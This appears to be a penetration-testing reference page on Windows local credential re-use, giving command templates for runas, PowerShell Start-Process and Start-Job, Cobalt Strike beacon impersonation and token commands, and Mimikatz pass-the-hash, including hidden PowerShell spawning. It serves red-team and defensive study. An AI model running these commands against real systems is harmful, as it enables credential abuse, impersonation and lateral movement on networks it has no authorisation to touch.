# Local credentials re-use

The local re-use of credentials consist of starting a process on the local system under the security context and privileges of the specified user.

This security context may be used to access resources on the present system as well as moving laterally using various methods (remote Windows services or scheduled tasks, `WMI`, etc.) that can rely on the current user security context.

### runas

Set the main DNS server on the attacking computer to the Domain Controller IP address:

```
Control Panel -> Network and Internet -> Network and Sharing Center -> Change adapter setting -> right click on the adapter being used -> Properties -> Internet Protocol Version 4 (TCP/IPv4) -> Properties -> Set the Preferred DNS server field
```

To authenticate locally as another user (with plaintext credentials) and execute PowerShell commands, the `runas` utility can be used.

```
# runas
# Use /NetOnly on off-domain machines
runas /NetOnly /user:<DOMAIN>\<USERNAME> "<COMMAND> <COMMAND_ARGS>"
runas /NetOnly /user:<DOMAIN>\<USERNAME> powershell.exe
```

The `NetOnly` option will make `runas` execute on your local computer as the currently logged on user, but any connections to other computers on the network will be made using the user account specified.

### Start-Process / Start-Job

The `Start-Process` and `Start-Job` PowerShell cmdlets can be used to start a local process under the identify of another user.

To run the specified process in an elevated security context through a interactive logon on a system with `User Account Control (UAC)` enabled, the `-Verb RunAs` parameter, for `Run as administrator`, can be specified.

```
$secpasswd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $secpasswd)

Start-Process <cmd.exe | powershell.exe | ...> -Credential $creds
Start-Process <cmd.exe | powershell.exe | ...> -Credential $creds -Verb RunAs

$ProcessJob = Start-Job -ScriptBlock { <POWERSHELL> } -Credential $creds
Wait-Job $ProcessJob
Receive-Job -Job $ProcessJob
```

### Cobalt Strike runas, runu, spawnas, spawnu and make\_token

On `Cobalt Strike`, the `runas` and `spawnas` beacon commands can be used, respectively, to locally run a command or start a beacon under the security context of the specified user. Both commands rely on a clear password and cannot be used to Pass-the-Hash.

The `runas` command can also be used in place of the `spawnas` command by running the beacon deploying `PowerShell` one-liner, generated using the beacon built-in function `Access -> One-liner`.

```
beacon> runas <. | DOMAIN>\<USERNAME> <PASSWORD> <COMMAND> <COMMAND_ARGS>

beacon> spawnas <. | DOMAIN>\<USERNAME> <PASSWORD> <LISTENER>
```

The `make_token` beacon command correspond to the `runas` `NetOnly` option but cannot be used to create a process and run a specified program. The `make_token` command will instead replace the `Logon Session` in the current beacon Windows `Access Token`, which is used for network Windows authentication, with the `make_token` provided credentials. The local system access through the beacon will thus not be affected but access to resources over the network will be made using the newly provided credentials.

The change can be reverted using the beacon command `rev2self`.

```
beacon> make_token <. | DOMAIN>\<USERNAME> <PASSWORD>
```

If elevated privileges are obtained on a system, the `runu` beacon command can be used to run an arbitrary command as a child of another process, effectively running the command in the targeted process security context. Building on this primitive, the `spawnu` beacon command spawn a beacon, through PowerShell, under another process security context.

Both commands can be used to impersonate any connected user on the compromised system, without the need of knowing their password or `NTLM` hash, as well as elevate to `NT AUTHORITY\SYSTEM`.

```
# beacon> ps

beacon> runu <PID> <COMMAND> <COMMAND_ARGS>

beacon> spawnu <PID> <LISTENER>
```

### Mimikatz Pass-The-Hash

Require elevated privileges on the system.

The Pass-The-Hash module of `mimikatz` can be used to locally run a process under another user identity using its `NTLM` hash.

```
# Default to /run:cmd.exe.
# Command can be any binary such as powershell.exe or mmc.exe for example.
# Specifying arguments is supported as well.

sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> /ntlm:<HASH_NTLM> /run:"<COMMAND>"
sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> [/aes128:<USER_AES128_KEY> | /aes256:<USER_AES256_KEY>] /run:"<COMMAND>"
```

### Cobalt Strike (using Mimikatz) Pass-The-Hash

Require elevated privileges on the system.

On `Cobalt Strike`, the `mimikatz` / and `steal_token` beacon commands can be used to start a process under the specified user identity, using its `NTLM` hash, and steal then impersonate the newly created process token.

The `pth` beacon command will wrap the `mimikatz` Pass-the-hash command and, similarly to the `make_token` beacon command, replace the `Logon Session` in the current beacon Windows `Access Token`, in order to access resources over the network using the provided user identity.

Any token change can be reverted using the beacon command `rev2self`.

```
# Both local and over the network impersonation
beacon> mimikatz sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> /ntlm:<NT_HASH> /run:"powershell -w hidden"
beacon> mimikatz sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> [/aes128:<USER_AES128_KEY> | /aes256:<USER_AES256_KEY>] /run:"powershell -w hidden"
  [...]
  PID <PID>

beacon> steal_token <PID>

# Over the network ("/NetOnly") impersonation
pth <. | DOMAIN>\<USERNAME> <NT_HASH>
```

### PowerShell Credential option

Most of the PowerShell's `Remote Server Administration Tools (RSAT)` cmdlets support the `Credential` option, to run the cmdlet as the specified user account. An username or a `PSCredential` object can be used.

A similar mechanism is also implemented in the PowerShell `PowerSploit` framework.